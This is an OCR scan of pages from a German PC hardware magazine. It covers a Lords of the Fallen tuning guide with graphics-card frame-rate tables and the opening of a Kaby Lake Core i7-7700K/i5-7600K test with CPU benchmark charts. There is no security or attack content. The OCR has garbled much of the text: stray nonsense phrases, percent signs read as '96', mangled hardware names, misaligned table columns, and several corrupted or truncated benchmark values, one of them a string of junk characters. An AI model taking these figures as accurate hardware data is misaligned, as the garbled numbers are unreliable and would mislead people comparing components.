of the Fallen vielfältige Ausrüstung und Waffen, die einen ganz individu- 
ellen Spielstil ermöglichen. Außerdem lässt sich der Charakter und dessen 
Equipment umfangreich verbessern und weiter aufrüsten. 


Installation: 

Wie Sie Ihren Code erhalten, entnehmen Sle der beiliegenden Karte im 
Heft. Installieren können Sie den Spiel-Client von unserer Heft-DVD. 
Stellen Sie dabei sicher, dass eine Online-Verbindung zu einem gültigen 
Steam-Account besteht. Nach erfolgreicher Aktivierung lässt sich Lords 
of the Fallen natürlich auch im Offline-Modus von Steam spielen. 


Systemvoraussetzungen: 

Minimal: Intel Core 2 Quad Q8400/AMD Phenom II X4 940, 6 GiB RAM, 
Geforce GTX 460/Radeon HD 6850, 25 GByte HDD-Platz, Windows Vi- 
sta SP2 x64. Empfohlen: Intel Core i7-3770/AMD FX-8350, 8 GiB RAM, 
Geforce GTX 560 Ti/Radeon HD 7870, Windows 7 SP1 x64 (und neuer) 


— Ф 


Fallen sorgt im Spielverlauf immer wie- 
der für den Drang, stehenzubleiben und 
sich einfach nur staunend umzusehen. 


immer mal wieder die Möglichkeit, Ihre Reak- 
tionen außerhalb von Kämpfen zu lenken. 


jen, hates sie meine Fame best 


Wie im Action-RPG-Genre üblich, erlaubt auch Lords of the Fallen eine 
umfangreiche Anpassung des Spielcharakters an Ihre Vorlieben. 
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SERVICE | Lords of the Fallen Tuning 


LotF: Tuning & Tipps 


Mit Lords of the Fallen haben wir eine Top-Vollversion auf der Heft-DVD. An dieser Stelle geben wir 


Tipps für noch bessere Grafik und prüfen den Leistungshunger. 


ords of the Fallen gehörte zu 
den grafisch ansprechends- 
ten Spielen des Jahres 2014. Seine 
sind ein DX11- 
Renderer, knackige 
sowie die Verwendung einiger 


Markenzeichen 
Texturen 


Gameworks-Bibliotheken aus dem 
Hause Nvidia. Damit verwirklichen 
die Entwickler die sehenswerten 
Partikeleffekte, Trümmerteile so- 
wie die Simulation von Stoffen. Fast 
die gesamte Pracht lässt sich auch 


Lords of the Fallen: Grafikkarten-Benchmarks 


1080р, 16:1 HQ-AF, max. Details außer Chroma Shift & Turbulence - „Blizzard” 


Gigabyte GTX 1080 G1 Gaming/8G EB eu 105,5 (+167 %) 
Palit GTX 980 Ti Super Jetstr./6G ЕВЗ pu 96,5 (+144 96) 
EVGA GTX 1070 SC Gaming/8G 93,7 (+137 %) 

Asus GTX 980 Strix OC/AG. 74,9 (+90 %) 
AMD Radeon R9 Fury X/4G gne 74,8 (+89 %) 
Gainward GTX 780 Ti Phantom/3G ga 70,5 (+78 96) 
Zotac GTX 1060 AMP/6G Ez ШШ 69,7 (+76 %) 
Palit GTX 1060 Dual/3G Eo! 66,1 (+67 96) 
MSI GTX 970 Gaming X/3,5G EEE 63,8 (+62 %) 
ХЕХ RX 480 GTR Black Ed./8G. ES 60,3 (4-53 %) 
HIS R9 390X IceQ X? Turbo/8G. EN 59,9 (+52 96) 
Palit GTX 780 Jetstream/3G EEE 59,4 (+50 %) 
Asus R9 390 Strix OC/8G. XXn 58,8 (+49 96) 
Sapphire RX 470 Nitro+ OC/AG |i 54,7 (+38 96) 
Gigabyte GTX 770 Windforce/2G Eas ЕЕ 51,3 (+30 96) 
MSI GTX 670 Power Edition/2G EB 42,5 (+8 9) 
HIS R9 280X IceQ X? Turbo/3G ESEL 42,5 (Basis) 


1440р, 16:1 HQ-AF, max. Details außer Chroma Shift & Turbulence - , Blizzard" 


Gigabyte GTX 1080 G1 Gaming/8G Egan ex 79,7 (+110 96) 
Palit GTX 980 Ti Super Jetstr/6G. EXE 70,5 (+86 96) 
EVGA GTX 1070 SC Gaming/8G X8 ШЕШ 66,5 (+75 96) 

AMD Radeon R9 Fury X/4G Egi 55,0 (+45 90) 

Gainward GTX 780 Ti Phantom/3G Es] ЕЕ 51,3 (4-35 96) 

Zotac GTX 1060 AMP/6G. En 47,7 (+26 96) 
Asus GTX 980 Strix OC/4G Enn 46,7 (+23 %) 
Palit GTX 1060 Dual/3G Emm 46,2 (+22 96) 
HIS R9 390X IceQ X? Turbo/8G. EB 43,6 (+15 9) 
MSI GTX 970 Gaming X/3,5G. EB 43,2 («14 %) 
Palit GTX 780 Jetstream/3G Loggt 42,9 (+13 96) 
Asus R9 390 Strix OC/8G. oct 42,1 (+11 96) 
ХЕХ RX 480 GTR Black Ed./8G Eam 41,8 (+10 96) 
Sapphire RX 470 Nitro+ OC/4G Loggt 37,9 (Basis) 


2160р, 16:1 HQ-AF, max. Details außer Chroma Shift & Turbulence - „Blizzard” 


Gigabyte GTX 1080 G1 Gaming/8G ISSIISIGCGIWIT9SOIISIOIIIIIIXIIIIII08 96) 
Palit GTX 980 Ti Super Jetstr/6G. gt 37,8 (+81 %) 
EVGA GTX 1070 SC Gaming/8G Xam 35,3 (+69 %) 

AMD Radeon R9 Fury X/4G 2538 28,4 (+36 %) 
Asus GTX 980 Strix OC/4G [EIER 27,3 (+31 96) 
Zotac GTX 1060 AMP/6G ШЕ 28 24,7 (+18 96) 
HIS R9 390X IceQ X? Turbo/8G MEZO 22,7 (+9 %) 
ХЕХ АХ 480 GTR Black Ed./8G gt 21,6 (+3 %) 
MSI GTX 970 Gaming X/3,5G ВЕ 8 20,9 (Basis) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4- 
3000 (1T); Windows 10 x64 (1607); RSCR 16.12 Beta, Gef. 376.09 WHQL Bemer- 
kungen: Das Spiel liegt Nvidia-GPUs. Ungewohnt schwach ist Polaris (RX 480/RX 470). 


Mä": 2 Fps 
» Besser 
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auf Radeon-Grafikkarten bestau- 
nen, allein das „Turbulence“-Modul 
bleibt Geforce-Chips vorbehalten, 
da die entsprechenden Partikel 
zu aufwendig für prozessorseitige 
Berechnung sind - Radeon-Nutzer 
müssen sich daher mit einem abge- 
speckten Fallback zufriedengeben. 


Grafik-Tuning 

Nicht jede der Grafikoptionen 
macht das Spiel hübscher. Wir 
empfehlen, dass Sie vor dem ersten 
Gefecht einen Blick auf die nächs- 
te Seite werfen und erst dann los- 
legen. Falls Downsampling Ihren 
PC überfordert, Sie aber dennoch 
besser geglättete Kanten haben 
möchten, lohnt sich ein Blick auf 
Reshade (www.reshade.me). Damit 
lässt sich nicht nur ressourcenscho- 
nendes SMAA forcieren, auch Nach- 
schärfen und Farbveränderungen 
gehören zum Funktionsumfang des 
Programms. Wir werden Reshade 
3.0 in einer kommenden Ausgabe 
ausführlich behandeln. 


Grafikkartenleistung 

Bereits zum Launch Ende 2014 
warteten wir auf unserer Website 
mit Benchmarks zu Lords of the 
Fallen auf; Sie finden den Artikel 
unter www.pcgh.de/lotf2014. Die 
Ursprungsversion hatte Eigenhei- 
ten, welche mittels Patches aus der 
Welt geschafft wurden. Das betrifft 


nicht nur das damalige Limit auf 60 
Bilder pro Sekunde, sondern auch 
die Farbverschiebung (Chromatic 
Shift/Aberration), die sich nun im 
Grafikmenü abschalten lässt. Auch 
der 2014 noch große Hunger auf 
Grafikspeicher 
entschärft, mittlerweile genügen 3 
GiByte Grafikspeicher für flüssige 
Bildraten in Full HD und WOHD. 


wurde drastisch 


Damit Sie wissen, wie Ihre Grafik- 
karte im Vergleich mit anderen 
Modellen abschneidet, haben wir 
Lords of the Fallen in der aktuellen 
Version 1.6 neu getestet. Die Ergeb- 
nisse offenbaren ein Geforce-Faib- 
le, das Spiel läuft auf Nvidia-GPUs 
besser als auf vergleichbaren AMD- 
Modellen. Falls Sie mindestens eine 
HD 7970 oder GTX 760 besitzen, 
sind in Full-HD-Auflösung Bildraten 
im hohen 30er-Bereich realistisch. 


Überlebenstipps 

Lords of the Fallen ist kein mittel- 
alterlicher Spaziergang, das Spiel 
verlangt Ihnen einiges an Können 
ab - das Vorbild Dark Souls ist je- 
doch eine Spur härter. Der Schlüs- 
sel zum Erfolg ist Timing: Nur wer 
im richtigen Moment blockt, aus- 
weicht oder zuschlägt, meistert 
das Spiel. Vor allem die Bosskämp- 
fe sind ohne Taktik rasch zu Ende. 
PC Games Hardware wünscht viel 
Erfolg! (ru) 


www.pcgameshardware.de 


Lords of the Fallen Tuning | SERVICE 


Bildvergleiche: Grafik-Tuning in drei Schritten 


Lords of the Fallen macht optisch zweifellos etwas her — wenn Sie an den richtigen Stellschrauben drehen. Aktivieren Sie einfach alle Optionen im Grafikmenü, sieht das Spiel 
nicht bestmöglich aus. Die Farbverschiebung beeinträchtigt die Qualität besonders stark, auch auch Anti-Aliasing und anisotrope Filte ollen getunt werden. 


„Korrektur chromatischer Abweichungen” aktiviert: Starkes Chroma-Shifting „Korrektur chromatischer Abweichungen” deaktiviert: Sauberes Bild 


, 16x" AF im Spiel: Detailverlust bei steilen Winkeln, sprich kein 16:1 AF 16:1 HQ-AF, forciert über den Grafiktreiber: Echte 16:1-Fi 
idi ' At 


Iterung 
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Kaby Lake: 
Core-Generation 6: 


A 


Das Taktupdate für Skylake-ist-nun auch im Desktop-Bereich da: Was ГА Kaby-Läke- 
Modelle außer. 200 bis 300 MHz mehr zu bieten haben, klärt unser Test. 


Anwendungsleistung: Kaby Lake S im Vergleich 


3DM FS Physik | Cinebench R15 7-Zip Lightroom 5.7.1 | Blender 2.76 | x264 MT y-Cruncher 
(Punkte) (Punkte) (Sekunden) (Sekunden) (Sekunden) | (Sekunden) | (Sekunden) 
(106/201; 3,0 GHz) 21.430 1.805 20 90 117 61 69,5 
Core i7-6800K (6c/12t; 3,4 GHz) 5.644 1.114 70 11 186 97 07,7 
Core i7-5820K (6c/12t; 3,3 GHz) 3.589 1.022 68 19 203 04 10,4 
( 
( 


Core i7-6950X 


Core i7-7700K (4c/&t; 4,2 GHz), DDR4-2400 4.240 974 84 18 205 94 98,5 
Core i7-7700K (4c/8t; 4,2 GHz), DDR4-2133 4.189 969 89 20 205 94 00,2 
Core i7-4960X (6c/12t; 3,6 GHz) 3.914 59 14 219 12 206,8 
Core i7-3960X (6c/12t; 3,3 GHz) 3.357 63 29 235 23 214,9 
Core i7-6700K (4c/8t; 4,0 GHz) 3.028 95 21 222 02 06,0 
Core i7-4790K ; 40 GHz) 1.924 97 32 231 22 27,8 
Core i5-7600K ; 3,8 GHz), DDR4-2400 9.013 28) 332 26 297 
Core i5-7600K ; 3,8 GHz), DDR4-2133 8.997 266 31 333 26 30,9 
AMD FX-9590 (4m/8t; 4,7 GHz) 8.407 208 46 415 38 256,4 
Core i5-6600K (4c/4t; 3,5 GHz) 8.106 39 360 39 41,8 


*Sortiert nach Gesamt-Rankirlg im PCGH-Anwendungs-Index 
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Kaby-Lake-CPUs | SPECIAL 


o langsam wird es zur làstigen 
O s als Desktop-Nutzer 
am längsten auf seine Prozessor-Do- 
sis warten zu müssen - zumindest, 
wenn man die letzten nunmehr drei 
CPU-Generationen des Branchen- 
primus Intel als Maßstab nimmt. 
Endlich können wir nun auch die 
„S“-Versionen von Kaby Lake im 
Testlabor begrüßen. Vorhang auf 
für Intels „7th gen“-Core-Prozesso- 
ren Core i7-7700K und i5-7600K! 


Nichts Drüber Ausplaudern? 
Ginge es nach Intel, hátten wir im 
Heft noch einen weiteren Monat 
Funkstille. Denn die Info-Sperrfrist 
fällt erst am 3. Januar, Heft-Abon- 
bekommen die PCGH- 
Ausgabe womöglich schon etwas 
früher. Wir haben daher auf die Ein- 


nenten 


willigung in ein sogenanntes Non- 
Disclosure-Agreement, kurz NDA, 
verzichtet und uns die CPUs aus an- 


deren Quellen besorgt. Wie immer 
wurde beinahe alles Wissenswerte 
bereits im Vorfeld ausgeplaudert. 
Dieses Mal nicht nur von den übli- 
chen Verdächtigen im asiatischen 
Bereich des Internets, auch min- 
destens zwei namhafte US-basierte 
Webseiten stellten bereits Tests des 
i7-7700K online. Daher sind wir 
zuversichtlich, dass Sie unsere Ent- 
scheidung befürworten. 


Neue Mainboards: 

Kann, muss aber nicht 
Gleichzeitig bringt Intel die neuen 
Mainboard-Chips auf den Markt, 
welche wir im folgenden Artikel 
ab Seite 18 im Rahmen einer ersten 
Z270-Marktübersicht auf die Probe 
stellen. Gute Nachrichten für Besit- 
zer eines Skylake-tauglichen Main- 
boards: So gut wie alle Modelle sind 
über ein einfaches UEFI-Update 
Kaby-Lake-tauglich zu machen. Die 


ny 


|| 


Neben den üblichen , Review-Kits" 
freien Handel, mit denen wir unsere Benchmarks durchgeführt haben. 


(oben) aus dem 


Kaby Lake S: Prozessorleistung in Spielen 


Kaby Lake S: CPU-Leistung in Anwendungen 


Vorläufiger Leistungsindex (normiertes Mittel aus acht Spielen) 


Vorläufiger Leistungsindex (normiertes Mittel aus acht Anwendungen) 


Intel Core i7-6950X (10c/20t; 3,0 GHz) mua 100 (+12 96) 
Core i7-7700K (40/8142 GHz) a———Fra 98,2. (+10 96) 
Intel Core i7-6900K (8c/16t; 3,2 GHz) [Xu 97,4 (+9 %) 
Intel Core 17-5775С (4/81; 3,3 GHz) Em 96,7 (+9 96) 
Core i7-7700K (4c/8t; 4,2 GHz)* [Xm 96,6 (+8 96) 
Intel Core i7-6700K (Ac/&t; 4,0 GHz) Eu 92,5 (+4 %) 
Intel Core i7-5930K (67/125 3,5 GHz) EX 89,2 (+0 96) 
Intel Core i7-5960X (8c/16t; 3,0 GHz) [E 89,1 (Basis) 
Intel Core i7-5820K (6c/12t; 3,3 GHz) Es 87,0 (-2 96) 
Intel Core 17-4960Х (60/121; 3,6 GHz) I| 82,7 (-7 96) 
Intel Core i7-4790K (Ac/&t; 4,0 GHz) Em 82,6 (-7 %) 
Intel Core i7-3960X (6c/121 3,3 GHz) [Xm 80,5 (-10 96) 
Intel Core i5-5675C (4c/4t; 3,1 GHz) Eu 79,4 (-11 90) 
Intel Core i7-4770K (4/8; 3,5 GHz) EX 77,8 (-13 %) 
Corei5-7600K (4c/4t; 3,8 GHz) En 76,8 (-14 96) 
Core i5-7600K (4c/4t; 3,8 GHz)* Eu 74,8 (-16 96) 
Intel Core i7-4820K (Ac/&t; 3,7 GHz) ER 73,6 (-17 %) 
Intel Core i7-3770K (Ac/&t; 3,5 GHz) ER 71,0 (-20 96) 
Intel Core i5-6600K (4c/4t; 3,5 GHz) | 67,8 (-24 %) 
Intel Core i5-4690K (4/41; 3,5 GHz) EX 65,9 (-26 %) 
Intel Core i5-4670K (4c/4t; 3,4 GHz) Em 64,6 (-27 %) 
Intel Core 15-6500 (4c/4t; 3,2 GHz) XXX 63,9 (-28 %) 
Intel Core i7-2600K (Ac/&t; 3,4 GHz) ERR 62,0 (-30 96) ntel 
Intel Core i5-3570K (4c/4t; 3,4 GHz) m 61,8 (-31 %) 
AMD FX-9590 (4m/8t; 4,7 GHz) ME 59,9 (-33 %) 


Intel Core i7-6950X (10c/20t; 3,0 GHz 
Intel Core i7-6900K (8c/16t; 3,2 GHz 
Intel Core i7-5960X (8c/16t; 3,0 GHz 
Intel Core i7-5930K (6c/12t; 3,5 GHz 


100 (+22 %) 

90,8 (+11 90) 

EN $1, (Basis) 

ННН 68,4 (-16 90) 

Intel Core i7-5820K (67/121; 3,3 GHz) wm 66,2 (-19 96) 

Core i7-7700K (4c/8t; 4,2 GHz) Taal 65,8 (-19 %) 

Core i7-7700K (4/81; 4,2 GHz)* Em 65,2 (-20 96) 

Intel Core 17-4960Х (6c/12t; 3,6 GHz) Eu 64,8 (-21 96) 

Intel Core i7-3960X (60/121; 3,3 GHz) Em 61,2 (-25 %) 
Intel Core i7-6700K (4c/8t; 4,0 GHz) EX 61,1 (25 90) 

Intel Core i7-4790K (4c/8t; 4,0 GHz) [EX 57,5 (-30 %) 

) 

) 

) 


Intel Core i7-5775C (4с/81; 3,3 GHz) EN 55,1 (-33 %) 
Intel Core i7-4770K (4/81; 3,5 GHz) EEE 53,7 (-34 96) 
Core i5-7600K (4c/4t; 3,8 GHz) EEE 47,9 (-41 %) 
Core i5-7600K (4c/4t; 3,8 GHz)* | 47,4 (-42 %) 
AMD FX-9590 (4m/8t; 4,7 GHz) Eu 46,6 (-43 96) 
Core i7-3770K (4c/8t; 3,5 GHz) Fu 45,9 (-44 96) 
Core i7-4820K (4c/8t; 3,7 GHz) I 45,8 (-44 96) 
Core i5-6600K (4c/4t; 3,5 GHz) Eu 44,1 (-46 %) 
AMD FX-8370 (4m/8t; 4,0 GHz) | 42,6 (-48 96) 
AMD FX-8350 (4m/8t; 4,0 GHz) | 42,4 (-48 96) 
Core i5-5675C (4c/4t; 3,1 GHz) Eu 42,2 (-48 %) 
Core i5-4690K (4c/4t; 3,5 GHz) Iu 41,4 (-49 %) 
Core i7-2600K (4c/8t; 3,4 GHz) Em 41,1 (-50 96) 
Intel Core 15-6500 (4c/4t; 3,2 GHz) [m 40,9 (-50 96) 
Ac/At; 3,4 GHz) 
) 
) 
) 
) 
) 
) 
) 
) 
) 
) 


ntel 
ntel 
ntel 


Intel Core 13-6100 (2c/4t; 3,7 GHz) ВЕН 58,0 (-35 %) ntel Core i5-4670K e 40, (-51 %) 
AMD FX-8370 (4m/8t; 4,0 GHz) ME 55,5 (-38 %) ntel Core i5-3570K (4c/4t; 3,4 GHz) ВЕ 36,8 (-55 %) 
AMD FX-8350 (4m/8t; 4,0 GHz) [Xu 55,0 (-38 %) AMD FX-8320E (4m/8t; 3,2 GHz) EEE 35,9 (-56 96) 


Intel Core i5-2500K (4c/4t; 3,3 GHz) Eu 52,3 (-41 %) AMD FX-6350 (3m/6t; 3,9 GHz) Eu 33,4 (-59 %) 


AMD FX-6350 (3m/6t; 3,9 GHz) E 48,7 (-45 %) 5 ntel Core i5-2500K (4c/4t; 3,3 GHz) EX 32,0 (-61 96) 
AMD FX-8320E (4m/8t; 3,2 GHz) ME 48,6 (-45 %) E! AMD FX-6300 (3m/6t; 3,5 GHz) Eu 30,8 (-62 %) 
AMD FX-6300 (3m/6t; 3,5 GHz) Eu 46,7 (-48 96) š Intel Core 13-6100 (2c/4t; 3,7 GHz) EEE 30,1 (-63 %) 
AMD FX-4300 (2m/4t; 3,8 GHz) EEE 37,8 (-58 %) 5 AMD A10-7870K (2m/4t; 3,9 GHz) EEE 23,5 (-71 %) 
AMD A10-7870K (2m/4t; 3,9 GHz) Eu 36,4 (-59 %) * AMD FX-4300 (2m/4t; 3,8 GHz) EEE 23,1 (-72 96) 
AMD Athlon ХА 845 (2m/4t; 3,5 GHz) EE 33,8 (-62 96) В AMD Athlon ХА 845 (2m/4t; 3,5 GHz) EEE 22,2 (-73 %) 
Intel Pentium G4400 (2c/2t; 3,3 GHz) EEE 26,6 (-70 96) = Intel Pentium G4400 (2c/2t; 3,3 GHz) EEE 20,2 (-75 %) 
= 
System: Intel Х99/79, 7170/97/77, AMD 990FX/A88X, 8 GiB DDR3/4 pro Speicherkanal (Ge- Prozent 8 System: Intel X99/79, 2170/97/77, AMD 990FX/A88X, 8 GiB DDR3/4 pro Speicherkanal (Ge- Prozent 
schw. jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti OC (359.06 HQ); Windows 10 x64. » Besser > schw. jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti OC (359.06 HQ); Windows 10 x64. » Besser 
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CPU-Z — x CPU-Z — x 
Caches | Mainboard | Memory | SPD | Graphics | Bench | About | 
Г Processor r Processor 
Name Intel Core i5 7600K Name Intel Core i7 7700K 
Code Name Kaby Lake Max TDP | 91.0 W Code Name Kaby Lake Max TDP | 91.0 W 
Package Socket 1151LGA Package Socket 1151LGA 
Technology | 14nm Core Voltage 0.736 V Technology | 14пт Core Voltage 0.696 V 
Specification Intel® Core™ i5-7600K CPU @ 3.80GHz Specification Intel® Core™ i7-7700K CPU @ 4.20GHz 
Family 6 Model E Stepping 9 Family 6 Model E Stepping 9 
Ext. Family 6 Ext. Model | 9E Revision EN Ext. Family 6 Ext. Model 9E Revision во 
Instructions | MMX, SSE, SSE2, SSE3, SSSE3, SSE4. 1, SSE4.2, EM64T, VT-x, Instructions | MMX, SSE, SSE2, SSE3, SSSE3, SSE4. 1, SSE4.2, EM6e4T, VT-x, 
AES, AVX, AVX2, РМАЗ, TSX AES, AVX, AVX2, FMA3, TSX 
Anno 2205 Assassin's Creed Syndicate 


„Walbruck 2016" (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-7700K (4с/81; 4,2 GHz) Per B 40,3 (+13 90) 
Core i7-7700K (4/81; 4,2 GHz)* [NUN 39,9 (+11 96) 
Core i7-5775C (4c/8t; 3,3 GHz) EXE! 39,5 (+10 96) 
Core i7-6950X (10c/20t; 3,0 GHz) sg ШЕШ 37,4 (+4 %) 
Core i7-6700K (4c/8t; 4,0 GHz) Est 36,8 (+3 96) 
Core i7-6900K (80161 3,2 GHz) EX 35, (Basis) 
Core i7-6800K (67/12; 3,4 GHz) Er 33,7 (-6 96) 
Core i7-4790K (4c/8t; 4,0 GHz) El 33,5 (-6 96) 
Core i7-5930K (6с/121; 3,5 GHz) mH 32,7 (-9 %) 
Core i7-5820K (6c/12t; 3,3 GHz) EE 32,2 (-10 %) 
Core i7-4960X (6с/121; 3,6 GHz) EU 30,7 (-14 %) 
Core i7-3960X (6с/121; 3,3 GHz) gi 30,4 (-15 96) 


^Bishopsgate" (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-6950X (100/20 3,0 GHz) |a ew 136,9 (+1 96) 
Core i7-6900K (8c/16t; 3,2 GHz) Ta 135,9 (Basis) 
Core i7-7700K (4c/8t; 4,2 GHz) al 131,2 (-3 96) 
Core 17-6800К (60/121; 3,4 GHz) Img 130,0 (-4 %) 
Core i7-7700K (4c/8t; 4,2 GHz)* EagrEu 129,1 (-5 96) 
Core i7-5960X (80/161 3,0 GHz) Ing p 127,1 (-6 %) 
Core i7-5930K (60/12 3,5 GHz) En 126,8 (-7 96) 
Core i7-5820K (67/121 3,3 GHz) EX 122,0 (-10 96) 
Core i7-6700K (4c/8t; 4,0 GHz) Ens 120,1 (-12 90) 


Core i7-3960X (60/121 3,3 GHz) jme 118,2 (-13 96) 
Core i7-4790K (Ac/&t; 4,0 GHz) ВОЗ В 110,0 (-19 96) 


Core i5-7600K (4c/4t; 3,8 GHz) Talli 30,4 (-15 %) 
Core i5-7600K (4/41; 3,8 GHz)* gat 29,9 (-16 %) 

Core i7-3770K (4c/8t; 3,5 GHz) Eg! 29,3 (-18 %) 

Core i5-6600K (4c/4t; 3,4 GHz) XXE 25,3 (-29 96) 

Core i5-2500K (4c/4t; 3,3 GHz) gn 25, 1 (-30 96) 


Core i7-3770K (4c/8t; 3,5 GHz) gat Eš 100,2 (-26 96) 

Core i5-7600K (4c/4t; 3,8 GHz) I 99,7 (-27 96) 
Core i5-7600K (4c/4t; 3,8 GHz)* gp 07,6 (-28 %) 

Core i5-6600K (4c/4t; 3,4 GHz) gts 89,1 (-34 96) 
AMD FX-9590 (4m/8t; 4,7 GHz) sm 81,2 (-40 %) 


) 
) 
) 
) 
Core i7-4960X (67/121; 3,6 GHz) [man 1197 (-12 %) 
) 
) 
) 
) 


AMD FX-9590 (Am/8t; 4,7 GHz) Egi] 24,7 (-31 90) AMD FX-8350 (4m/8t; 4,0 GHz) one 76,0 (-44 9b) 
AMD FX-8350 (4m/8t; 4,0 GHz) mt 22,1 (-38 %) Core i5-2500K (4c/4t; 3,3 GHz) ege 70,2 (-48 %) 
System: X99/79/71704/797/277/990FX-Chip; 2 x 8/4 x 4 GiB RAM (Geschw. It. max. Meer System: Х99/79/2170А/297/777/990ЕХ-Сһір; 2 x 8/4 х 4 GiB RAM (Geschw. It. max. Meer 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (НО) Bemerkungen: mm ps CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: Dank < ps 
esser esser 


*Mit DDR4-2133 anstelle von DDR4-2400 


Schneller Speicher und hoher Takt reißen es in Anno 2205 für Kaby Lake heraus. hohen Taktes schlägt der i7-7700K in AC: Syndicate immerhin den i7-6800K mit sechs Kernen. 


Crysis 3 Dragon Age: Inquisition 


„Fields” (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-6950X (10c/20t; 3,0 GHz) XXX ШЕШШ 193,2 (+10 %) 
Core i7-6900K (8c/16t; 3,2 GHz) Tawa eu 176,9 (Basis) 
Core i7-5930K (6с/121; 3,5 GHz) ME 154,2 (-13 %) 
Core i7-6800K (6c/12t; 3,4 GHz) MEMM ШЕШ 154,1 (-13 %) 
Core i7-5820K (6c/12t; 3,3 GHz) EEE 149,0 (-16 %) 
Core i7-7700K (4c/8t; 4,2 GHz) ВО 8 144,3 (-18 %) 
Core i7-7700K (4c/8t; 4,2 GHz) * ME БЕШ 144,2 (-18 %) 
Core i7-6700K (4c/8t; 4,0 GHz) Em 136,7 (-23 %) 
Core i7-4960X (6c/12t; 3,6 GHz) Eg! 136,7 (-23 %) 
Core i7-3960X (6c/12t; 3,3 GHz) EISEN 131,0 (-26 %) 
Core i7-5775C (4c/8t; 3,3 GHz) EEE 128,5 (-27 %) 
Core i7-4790K (4/81; 4,0 GHz) BEN 128,5 (-27 96) 
Core i7-3770K (4/81; 3,5 GHz) EEG 101,6 (-43 %) 
Core i5-7600K (4c/4t; 3,8 GHz) ge 101,5 (-43 %) 
Core i5-7600K (4c/4t; 3,8 GHz)* EST 100,8 (-43 %) 
AMD FX-9590 (4m/8t; 4,7 GHz) TGRSSSFIFII 95,7 (-46 %) 
Core i5-6600K (4c/4t; 3,4 GHz) Em 89,2 (-50 96) 
AMD FX-8350 (4m/8t; 4,0 GHz) EZ 88,0 (-50 96) 
Core i5-2500K (4c/4t; 3,3 GHz) ESS 70,7 (-60 96) 


„Hinterlands” (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-5775C (4c/8t; 3,3 GHz) EXE ИЕШЕ 138,9 (+2 96) 
Core i7-6950X (100/205 3,0 GHz) p ew 138,3 (+2 96) 
Core i7-7700K (4c/8t; 4,2 GHz) BEE 137,7 (2 %) 
Core i7-6900K (80/161 3,2 GHz) Ro s 135,6 (Basis) 
Core i7-7700K (4c/8t; 4,2 GHz)* mama aN БЕШ 135,5 (+0 96) 
Core i7-6700K (4c/8t; 4,0 GHz) ВО ШЕШ 133,3 (2 %) 

Core i7-3960X (60/121 3,3 GHz) Isi БЕШ 131,0 (-3 96) 
Core i7-6800K (67/121; 3,4 GHz) EX E 131,0 (-3 96) 
Core i7-5930K (67/121 3,5 GHz) ШОО НВ 130,2 (-4 96) 
Core i7-5820K (60/121; 3,3 GHz) [oe iw 128,6 (-5 96) 
Core i7-4960X (67/12; 3,6 GHz) Egg pu 122,1 (10 9) 
Core i7-4790K (4c/8t; 4,0 GHz) Egg e 112,8 (-17 96) 
Core i5-7600K (4с/41; 3,8 GHz) www WSB 111,2 (-18 96) 
Core i5-7600K (4c/4t; 3,8 GHz)* EEE 108,9 (-20 96) 
Core i7-3770K (4/81; 3,5 GHz) Egg ww 102,7 (-24 %) 
Core i5-6600K (4c/4t; 3,4 GHz) Egg ШЕШ 97,3 (-28 %) 
AMD FX-9590 (4m/8t; 4,7 GHz) Ign ШШШ 80,6 (-41 96) 
) 
) 


AMD FX-8350 (4m/8t; 4,0 GHz) gn EN 75,8 (-44 %) 
Core i5-2500K (4c/4t; 3,3 GHz) ВСУ 73,1 (-46 96) 


System: Х99/79/2170А/297/277/990ЕХ-Сһір; 2 x 8/4 x 4 GiB RAM (Geschw. It. max. 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: Crysis 3 
profitiert auch von mehr als vier Kernen stark, sodass der i7-5820K den i7-7700K schlägt. 


System: X99/79/Z170A/Z97/277/990FX-Chip; 2 x 8/4 x 4 GiB RAM (Geschw. It. max. 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: Dank 
EDRAM hált der Broadwell i7-5775C den Kaby Lake i7-7700K (und alle anderen) in Schach. 


Mimil @ Fps 


» Besser 


Mimil 2 Fps 


» Besser 


*Mit DDR4-2133 anstelle von DDR4-2400 
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aktuellen UEFI vieler Hersteller 
finden Sie auf der Heft-DVD. 


Familientradition 

Kaby Lake „S“ (das S steht 
für Socket, also Modelle, die 
im Gegensatz zu den verlóte- 
ten Mobilvarianten in einem 
Mainboard-Sockel Platz finden) 
kommt als komplette Familie 
auf den Markt. Wir haben für 
diesen ersten Test Exemplare 
der für Übertakter gedachten, 
vierkernigen K-Varianten mit 
freiem Multiplikator ins Labor 
geholt: Den Core i7-7700K mit 
4,2 GHz Basis- und 4,5 GHz 
Single-Core-Turbo, vier Kernen 
plus Hyperthreading und 8 MiB 
L3-Cache sowie den i5-7600K 
mit 3,8 Basis- und 4,1 GHz ma- 
ximalem Turbo. Der Quad- 
core muss jedoch sowohl auf 
Hyperthreading als auch eine 
2-MiByte-Partition des L3-Cache 
verzichten. Daneben gibt es mit 
dem Core i3-7350K erstmals in 
Deutschland auch noch einen 
freigeschalteten Zweikerner 
mit Hyperthreading, welcher 
uns allerdings nicht mehr recht- 
zeitig zum Redaktionsschluss 
für diese Ausgabe erreichte. 
Ersten Berichten zufolge wird 
er mit 4,2 GHz recht hoch tak- 
ten, könnte preislich allerdings 
schon beinahe in Quadcore- 
Regionen vorstoßen - was ihn, 
ähnlich wie den inzwischen ein- 


gestellten Pentium G3258 Anni- 
versary Edition, eher zu einem 
Objekt für Bastler und Übertak- 
ter als einen real zu empfehlen- 
den Prozessor machen würde. 
Sobald er verfügbar wird, schau- 
en wir ihn uns aber ebenfalls 
genauer an. Abgerundet wird 
die „S“-Familie von den üblichen 
Modellen mit 65 und 35 Watt 
TDP GT*Varianten), welche im 
Vergleich zu Skylake durchweg 
200 bis 300 MHz mehr Takt 
bekommen, sodass etwa der i5- 
7500 nun mit 3,4 GHz oder der 
15-7400 mit 3,0 anstatt 2,7 GHz 
